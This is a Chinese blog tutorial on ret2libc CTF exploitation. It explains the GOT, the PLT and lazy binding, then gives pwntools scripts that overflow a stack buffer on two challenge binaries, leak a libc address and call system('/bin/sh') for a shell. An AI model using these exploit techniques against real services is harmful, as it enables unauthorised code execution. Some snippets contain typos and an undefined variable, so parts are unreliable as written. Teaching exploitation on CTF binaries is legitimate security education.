用動態連結動態洩露system地址並利用

能打八个攻城狮發表於2024-06-17

已知libc庫的情況

在動態編譯的程式中,如果沒有對system函式的直接呼叫,在plt中就不會存在system函式,也就是不能直接知道system函式的地址
在解決動態編譯的二進位制檔案之前,需要了解動態連結的基礎知識,這個過程叫作lzy-binding。程式對外部函式的呼叫要求在生成可執行檔案時將外部函式連結到程式中連結的方式分為靜態連結和動態連結。靜態連結得到的可執行檔案包含外部函式的全部程式碼。動態連結得到的可執行檔案不包含外部函式的程式碼,而是在執行時將動態連結庫(若干外部函式的集合)載入到記憶體的某個位置,在發生呼叫時再去連結庫定位所需的函式。

這裡透過幾個簡單的概念和過程的分析來說明整個過程。

  1. GOT。GOT是全域性偏移量表(Global0fset Table),用於儲存外部函式在記憶體中的確切地址。GOT儲存在資料段(DataSegment)內,可以在程式執行過程中被修改。
  2. PIT是程式連結表(Procedure Linkage Table),用來儲存外部函式的人口點(entry),換言之,程式會到 PLT 中尋找外部函式的地址。PLT儲存在程式碼段(CodeSegment)內,在執行之前就已經確定並目不會被修改。

簡單來講,GOT是個資料表,儲存的是外部函式的地址,具有讀寫許可權(在FULLRELRO 保護機制開啟的時候,沒有讀寫許可權):PLT是外部函式的人口表,儲存的是每個外部函式的程式碼,具有執行許可權

當程式在第一次執行的時候,會進入已被轉載進記憶體中的動態連結庫中查詢對應的函式和地址,並把函式的地址放到got表中,將got表的地址資料對映為plt表的表項;在程式二次執行的時候,就不用再重新查詢函式地址,而是直接透過plt表找到got表中函式的地址,從而執行函式的功能了。
在首次呼叫匯出函式時,由於未知函式真正地址(這時表現為xxx@plt),去訪問plt表中該函式所在的項(為一段程式碼,三條指令如上圖所示),之後去訪問GOT表,又跳到PLT[0]的中(程式碼段)呼叫函式_dl_runtime_resolve去獲取真正的函式地址並修改對應的GOT表項
image
還有幾點需要注意

  1. GOT[0] 是.dynamic段的裝載地址,.dynamic段包含了動態連結器用來繫結過程地址的資訊,比如符號的位置和重定位資訊;
  2. GOT[1] 是動態連結器的標識link_map的地址;
  3. GOT[2] 包含動態連結器的延遲繫結程式碼_dl_runtime_resolve的入口點,用於得到真正的函式地址,回寫到對應的got表中;
  4. 從 GOT[3] 開始就是函式的地址。
    image

對於任意兩個函式的偏移是固定的,我們可以根據這個來做題,我們需要洩露一個函式地址,根據偏移來計算基地址,這樣就能得到我們想要的地址
用一道例題來具體說明一下
例題:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc3
首先檢視保護
image
地址隨機化,NX開啟
IDA反編譯,沒有發現後門函式,所以我們需要呼叫動態連結庫裡面的system來getshell
第一步:先洩露函式的一個地址
我們發現了棧溢位漏洞和put輸出函式,那麼我們就可以根據這個函式洩露地址
image

from pwn import *

p = process("./ret2libc3")
gdb.attach(p,"b *0x0804854C")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

gets_got = elf.got["gets"]
puts_plt = elf.plt["puts"]
main_addr = 0x0804854E
p.recvuntil("ret2libc3\n")
payload1 = "a" * 0x108 + p32(1)
payload1 += p32(puts_plt) + p32(main_addr) + p32(gets_got)
p.sendline(payload1)

根據EXP我們可以看到,透過呼叫put函式來列印got表中gets的地址,這樣gets的地址就洩露成功了
第二步:計算偏移
我們洩露了gets函式的地址,那麼根據它的偏移,就能得到基地址.base_addr= 洩露地址 - 減去偏移

leak_addr = u32(p.recv(4))
libc_base = leak_addr - libc.symbols["gets"]
libc.address = libc_base
log.success("libc_base:" + hex(libc.address))

這裡的libc.symbosl['']在設定基地址之前得到的是偏移值,在設定基地址之後得到的是實際地址值
第三步:攻擊

system = libc.symbols["system"] #得到實際地址值
binsh = libc.search("/bin/sh").next() #搜尋字串,返回地址
p.recvuntil("ret2libc3\n")
payload2 = "a" * 0x108 + p32(1)
payload2 += p32(system) + p32(1) + p32(binsh)
p.sendline(payload2)
p.interactive()

這樣一個已知動態連結庫的題就寫好了,說到這肯定想問,那要是未知呢?別急接著往下看

未知動態連結庫

對於未知動態連結庫,做題方式和已知連結庫是大同小異的,無非是確定libc庫是什麼版本,我們來看一下怎麼確定
在我現在學習中,有三種方法(實際肯定不止三種,使用自己覺得好用的就行)

  1. 在 github上有個 libc-database 專案,可以使用專案上的方法找出對應版本。
  2. 在網站 https://libc.nullbyte.cat/ 上輸入對應的函式名和地址找到 1ibc 版本。
  3. 使用python庫libcsearcher

這裡我們說一下第三種

  1. 安裝
    git clone https://github.com/lieanu/LibcSearcher.git
    cd LibcSearcher
    python setup.py develop
    
  2. 基本使用
    libc = LibcSearcher("func",gets_real_addr)             #尋找匹配的libc版本
    libcbase = gets_real_addr – obj.dump("func")            #確定基地址
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移
    

例題:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc
普通棧溢位image
這裡距離棧底為0x14個位元組,但是按照14個位元組編寫會報錯,我們使用cyclic的方法判斷溢位,發現距離棧底為0x1c個位元組
直接上指令碼

from pwn import *
from LibcSearcher import *
ret2libc = ELF('./1')
p = process('./1')
p.recvuntil('is')
binsh_addr = int(p.recvuntil('\n' , drop=True) , 16)
p.recvuntil('is')
puts_addr = int(p.recvuntil('\n' , drop = True) , 16)
libc = LibcSearcher('puts' , puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')
payload = 32 * b'a'  + p32(system_addr) + p32(1) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

做好使用python3執行,別問我怎麼知道的~~~~

相關文章